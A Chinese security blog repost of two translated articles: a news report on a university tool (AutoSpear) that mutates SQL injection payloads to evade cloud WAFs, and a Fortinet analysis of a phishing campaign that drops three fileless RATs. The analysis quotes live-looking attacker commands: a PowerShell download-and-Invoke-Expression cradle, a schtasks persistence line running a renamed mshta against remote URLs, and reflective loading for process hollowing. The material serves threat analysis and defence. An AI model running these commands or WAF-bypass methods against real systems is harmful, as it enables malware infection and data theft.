网络钓鱼攻击细节&绕过WAF的SQL攻击新方法

admin 2025年2月15日21:46:06评论27 views字数 7376阅读24分35秒阅读模式

写在前面:本文包括两篇技术文档,一个是浙江大学研究人员绕过WAF的方法说明,为数不多在国外媒体上看到对国内安全技术的介绍。一个是Fortinet Lab对钓鱼邮件的分析,了解一些攻击的细节,可以对网络安全理解地更深入一些。

转换SQL查询绕过WAF

       大学研究人员发现了一种基于机器学习的方法,可以生成HTTP请求,绕过Web应用防火墙。

       BLACK HAT ASIA 2022 -在周四新加坡大学黑帽亚洲安全会议上,一名研究人员表示,一个大学研究小组使用基本的机器学习生成攻击,常见的Web应用防火墙(WAF)无法检测,但仍然可以提供有效载荷。

       中国浙江大学的研究人员使用结构化查询语言(SQL),针对Web应用数据库,使用注入转换方法,而不是暴力搜索尝试潜在的绕过方式。团队生成了一个工具,称为AutoSpear,在备选绕过方法池中,利用加权变异策略,使用机器学习,组合攻击方式,然后测试,以确定绕过WAF-as-a-service产品有效性。

       浙江大学毕业生及AutoSpear团队成员曲振清说,工具成功地绕过所有七个云WAF,误报率从ModSecurity的3%到亚马逊Web Service 和Cloudflare WAF的63%。他说:“案例研究显示了(该工具)的潜力,因为由于漏洞种类很多,检测特征并不可靠。仅仅添加注释或空白可以绕过一些WAFs,但最有效的变异取决于特定的WAFs。”

       Web应用防火墙是保护重要的云软件和Web服务免受攻击的常用方法,它过滤掉常见的应用程序攻击和数据库注入命令(也称为SQL注入,SQLi)的尝试。例如,2020年的一项研究发现,40%的安全专业人士认为,针对他们的云应用程序的攻击有50%绕过了他们的WAF。

       在他们的演示中,浙江大学的团队使用10种不同的技术转换四种常见请求方法:POST和GET请求(使用或不使用JSON编码)。研究人员发现,四个不同的WAF厂商对这四种不同类型的请求的处理是相同的,而其厂商对输入的处理方式则不同。

       通过10种技术的不同组合来来科学地变化请求,例如成行注释、填充空格、使用常见恒真命题(即“1 = 1”)代替(如“2 < 3”)。研究人员发现一组转换,对七个不同的WAF表现最好。

       研究人员在他们的演示幻灯片中表示:“结合多种变异方法,AutoSpear在绕过主流的WAF -as-a-service解决方案方面更有效,因为它们在语义匹配和正则表达式匹配方面的检测特征很脆弱。”

       SQL注入攻击仍然是许多公司面临的主要风险。OWASP将注入类漏洞列为2013年和2017年十大Web安全风险之首,并在2021年排名第三。该名单大约每四年发布一次,使用400多种各类弱点来确定对Web应用程序最重要的威胁。

       研究小组首先生成具有特定漏洞的Web应用程序,然后使用其方法将已知的漏洞转换为WAF无法捕捉的特殊请求。

       绕过Web应用防火墙通常使用三种方法。在架构层,攻击者可以找到绕过WAF并直接访问原始服务器的方法。在协议层,多种技术使用编码假设中的错误或不匹配(例如HTTP请求夹带,HTTP  SMUGGLING,在HTTP中包含JavaScript)来绕过WAF。最后,在有效载荷层,攻击者可以使用各种编码转换欺骗WAF,使其无法检测到攻击,同时从数据库服务器的角度仍然生成有效的请求。

       该团队在演示中表示,根据WAF和请求格式的不同,这些转换允许攻击在9%到100%的时间内成功。在一种情况下,研究人员发现仅仅添加换行符“/n”,就绕过了一个主流的WAF-as-a-service。

       一般来说,为了证明WAF的安全漏洞,攻击者通常会手动改变WAF之前阻止的原始有效载荷(例如URL),这样修改后的有效载荷就可以成功地绕过WAF。虽然sqlmap等工具提供了一些可用的候选操作(例如,大小写替换、添加注释),但攻击者不能自动选择一组变更操作并直接应用它们来生成变异后的有效载荷,这可能会使其原始语义失效,即功能和恶意攻击失效。

       以SQLi攻击为典型案例,研究人员设计并实现了AutoSpear自动绕过和检查当前使用的WAF。AutoSpear首先用层次树表示原始的SQLi有效载荷,进行语义级分析,然后基于上下文无关的语法规则使用加权变异算法生成大量语义等价的有效载荷。为指导对生成的语义等效载荷的探索,AutoSpear利用增强的Monte-Carlo-Tree-Searching方法输出最终载荷,用于绕过和检查目标WAF。

AWS、Cloudflare受到影响

       研究团队报告了所有7家WAF厂商的漏洞:AWS、Cloudflare、CSC、F5、Fortinet、ModSecurity和Wallarm。振清说,Cloudflare、F5和Wallarm已经解决了他们的问题。该团队还为厂商提供了绕过WAF的特征,可用于检测最常见的转换类型,其他四家公司仍在与我们合作,因为这些缺陷不容易修复。

摘自:

https://www.darkreading.com/cloud/transforming-sql-queries-bypasses-waf-security

(完)

网络钓鱼投送三个无文件恶意软件:AveMariaRAT / BitRAT / PandoraHVNC -第一部分

Xiaopeng Zhang | May 12, 2022

       Fortinet的FortiGuard Labs捕获到一次网络钓鱼活动,攻击人员向受害者设备发送了三种无文件恶意软件。一旦执行,他们就能从设备中窃取敏感信息。

在此分析中,我将揭示钓鱼活动如何设法将无文件恶意软件投送到受害者的设备,它使用什么机制在目标进程中加载、部署和执行无文件恶意软件,以及它如何在受害者的设备上保持驻留。

受影响系统: Microsoft Windows
      严重级别: Critical

查看钓鱼邮件

       下图是捕获的钓鱼邮件,伪装成来自可信源的支付声明。

网络钓鱼攻击细节&绕过WAF的SQL攻击新方法

       这封电子邮件试图欺骗收件人打开附件中的Excel文档以获取报告的详细信息。正如你所看到的,这封钓鱼邮件被FortiMail服务检测为垃圾邮件,并在主题行被标记为“[FortiMail检测到的垃圾邮件]”来警告收件人。

查看Excel 附件

       Excel文档名为“汇款-细节-951244.xlam”。这是一个包含恶意宏的Excel插件(*.xlam)文件。当收件人在微软 Excel程序中启动它时,会弹出一个安全通知,询问用户是否要启用宏,如图所示。

网络钓鱼攻击细节&绕过WAF的SQL攻击新方法

       当Excel文件打开时,使用VBA (Visual Basic Application)“Auto_Open()”方法,启动一个自动运行宏。通过方法内部的VBA代码,我了解到它解码一个命令字符串,并使用WMI (Windows Management Instrumentation)对象执行它。

网络钓鱼攻击细节&绕过WAF的SQL攻击新方法

       上图是方法“Auto_Open()”的VBA代码片段,显示了它将要在什么地方创建一个WMI对象来执行解码的字符串命令,“C:\ProgramData ddond.com hxxps://taxfile.mediafire.com/file/6hxdxdkgeyq0z1o/APRL27.htm/file”。

       在此之前,它将本地文件“C: Windows System32mshta.exe”复制到“C:ProgramData”并将其重命名为“ddond.com”。“mshta.exe”是一个Windows自带二进制文件,用于执行Microsoft HTML Application(HTA)文件。请记住“C: ProgramDataddond.com”现在是“mshta.exe”的副本,它将在整个活动中使用。为了迷惑研究人员,它使用复制的“ddond.com”文件下载并执行恶意html文件,而不是“mshta.exe”。

HTML + JavaScript + PowerShell

       它下载“APRL27.htm”文件,该文件由“ddond.com”(即“mshta.exe”)解析。HTML文件包含一段使用URL转义方法编码的JavaScript代码。我解析并简化了代码,如下图所示。

网络钓鱼攻击细节&绕过WAF的SQL攻击新方法

       它创建了一个对象”Wscript.Shell",使用下面的指令。“Wscript.Shell”是通过方法“_0x5b4b3f(0x391, 0x391)”检索的,用于根据其索引返回字符串。

chuchukukukaokiwDasidow = new ActiveXObject(_0x5b4b3f(0x391, 0x391));

“chuchukukukaokiwDasidow”创建OS Shell对象,用于运行应用程序。在上图可以看出,它运行五个命令行应用程序。

  • powershell  $MMMMMMM=((neW-ObjEcT (("Net.Webclient"))).(("Downloadstring")).invoke((("https://taxfile.mediafire.com/file/175lr9wsa5n97x8/mainpw.dll/file"))));Invoke-Expression $MMMMMMM

  • schtasks /create /sc MINUTE /mo 82 /tn calendersw /F /tr """%programdata%ddond.com """""" hxxps://www.mediafire.com/file/c3zcoq7ay6nql9i/back.htm/file"""

  • taskkill /f /im WinWord.exe

  • taskkill /f /im Excel.exe

  • taskkill /f /im POWERPNT.exe

       它运行PowerShell应用程序,下载一个名为“mainpw.dll”的PowerShell文件,然后执行它。里面包括三个无文件恶意软件。

       然后它运行schtasks,在“task Scheduler”系统中创建一个名为“calendersw”的计划任务。它每82分钟执行一次命令" C:ProgramDataddond.com hxxps://www.mediafire.com/file/c3zcoq7ay6nql9i/back.htm/file ",这看起来像是解析" APRL27.html "。它也是一种永久驻留机制。一旦启动,back.htm将添加更多计划任务。

       它还运行taskkill来终止MS Word (WinWord.exe)、MS Excel (Excel.exe)和MS Pointpoint (POWERPNT.exe)的进程(如果存在的话)。

网络钓鱼攻击细节&绕过WAF的SQL攻击新方法

APRL27.htm 流量

       上图是一个HTTP代理程序的截图,红框中标记的是从“APRL27.htm”到“mainpw.dll”的数据包。绿框(back.htm)和蓝框(Start.htm)是由任务调度器启动的“ddond.com”命令的其他请求。

       “mainpw.dll”文件(大小7.58MB)都是PowerShell代码,可以被分成三个部分,用于三个无文件恶意软件。下图显示了“mainpw.dll”的简化结构。

网络钓鱼攻击细节&绕过WAF的SQL攻击新方法

 “mainpw.dll”内部PowerShell代码

       这段代码有三个代码段,每个恶意软件使用相同的代码逻辑。我将通过每个恶意软件的变量解释这是如何工作的。

  • 第一个“$hexString”包含执行GZip解压的动态方法。

  • 第二个“$hexString”包含动态的PowerShell代码,用于解压恶意软件载荷,以及一个内部的.NET模块文件,用于部署恶意软件载荷。

  • “$nona”是一个巨大的字节数组,包含Gzip压缩的恶意软件载荷。下面从第二个$hexString中提取的PowerShell代码用于解压$nona中的恶意软件载荷,以及将恶意软件负载部署到两个本地变量中的内部.NET模块。

[byte[]] $RSETDYUGUIDRSTRDYUGIHOYRTSETRTYDUGIOH = Get-
DecompressedByteArray 
$nona

[byte[]] $RDSFGTFHYGUJHKGYFTDRSRDTFYGJUHKDDRTFYG =Get-                       
DecompressedByteArray 
$STRDYFUGIHUYTYRTESRDYUGIRI

       在每个恶意代码段的末尾,代码会调用“Load()”方法来从“$RDSFGTFHYGUJHKGYFTDRSRDTFYGJUHKDDRTFYG”中加载内部的.NET模块。然后调用Invoke()方法来调用内部.NET模块的“projFUD . PA . Execute()”函数,该函数有两个参数,即exe文件的完整路径和无文件的恶意软件载荷。这是第一个恶意软件使用的一段PowerShell代码。

[Reflection.Assembly]::Load($RDSFGTFHYGUJHKGYFTDRSRDTFYGJUHKDDRTFYG).GetType('projFUD.PA').GetMethod('Execute').Invoke($null,[object[]] ( 'C:WindowsMicrosoft.NETFrameworkv2.0.50727aspnet_compiler.exe',$RSETDYUGUIDRSTRDYUGIHOYRTSETRTYDUGIOH))

进程空化的动态.NET模块

       这是从第二个$hexString变量中动态提取的内部.NET模块。它的函数" projFUD .PA.Execute() "被PowerShell调用,其中" projFUD "是名称空间," PA "是类名," Execute() "是类" PA "的成员函数。下图显示这个函数入口处调试器中断。

网络钓鱼攻击细节&绕过WAF的SQL攻击新方法

“projFUD.PA.Execute()”函数入口点中断

       在底部的“Locals”变量子选项卡中,我们看到了两个传递的参数。然后它执行进程空化,将恶意软件载荷注入到新创建的进程“aspnet_compiler.exe”中。

网络钓鱼攻击细节&绕过WAF的SQL攻击新方法

生成挂起的进程

       " Execute() "函数然后调用Windows API " CreateProcessA() "来创建一个进程" aspnet_compiler.exe ",创建标志为0x8000004。这是CREATE_NO_WINDOW和CREATE_SUSPENDED的组合,如上图所示。

       接下来,它在该进程中分配内存并将恶意软件有效载荷部署到该进程中。它修改内存地址0x7EFDE008的值,在那里它保存PEB(进程环境块)的进程的基址,并修改进程注册表,使其EIP(扩展指令指针)指向复制的恶意软件负载。为此它需要多次调用API WriteProcessMemory()和API Wow64SetThreadContext()。

       在完成上述所有步骤之后,它最终调用API ResumeThread()来让进程运行恶意软件载荷。下面是用于调用该API的代码。“processInformation.ThreadHandle是新创建进程的线程句柄。

num15 = (int)PA.LX99ujNZ7X3YScj6T4(PA.ResumeThread, PA.vgxYHnXuOV51G6NIu3("010010010110111001110110011011110110101101100101"), CallType.Method, 

new object
{processInformation.ThreadHandle});

结论

       在这个分析中,我解释了伪装成钓鱼电子邮件附件的Excel文档是如何发送到受害者的设备的,以及当收件人打开Excel文档时,该文档中的恶意代码是如何自动执行的。

       我还展示了VBA代码如何使用复制的“mshta.exe”命令访问远程html文件(APRL27.htm)。此文件包含稍后要执行的恶意JavaScript代码。我还演示了它如何通过向系统“任务管理器”中添加任务来保持在受害者的设备中实现驻留。

       我还解释了它如何在下载PowerShell文件中获取三个无文件恶意软件来绕过检测,以及这些恶意软件随后如何通过进程空心技术在目标进程中部署和执行。这三个无文件恶意软件是AveMariaRAT / BitRAT / PandoraHVNC。

       在本分析的第2部分中,我将重点介绍这三种无文件恶意软件,看看它们在受害者的设备上做了什么,以及它们能够窃取什么样的数据。

Fortinet 防护

       FortiGuard的Web过滤、防病毒、FortiMail、Forclient、FortiEDR服务和CDR服务已经保护了Fortinet客户免受此恶意软件的侵害,具体如下:

       所有相关网址都被FortiGuard网站过滤服务标记为“恶意网站”。

       钓鱼电子邮件及其附带的恶意Excel文档可以通过FortiGuard CDR服务过滤。

      捕获的Excel样本、下载的html文件和带有三个无文件恶意软件载荷文件的PowerShell文件被检测为“VBA/Agent.DDON!”tr”、“JS / Agent.DDON ! tr.dldr”、“PowerShell / Agent.e535 !tr”被FortiGuard防病毒服务阻止。

       FortiEDR根据Excel文件和PowerShell文件的行为,检测出它们是恶意的。

摘自:

https://www.fortinet.com/blog/threat-research/phishing-campaign-delivering-fileless-malware

(完)

原文始发于微信公众号(安全行者老霍):网络钓鱼攻击细节&绕过WAF的SQL攻击新方法

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年2月15日21:46:06
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   网络钓鱼攻击细节&绕过WAF的SQL攻击新方法https://cn-sec.com/archives/1048517.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息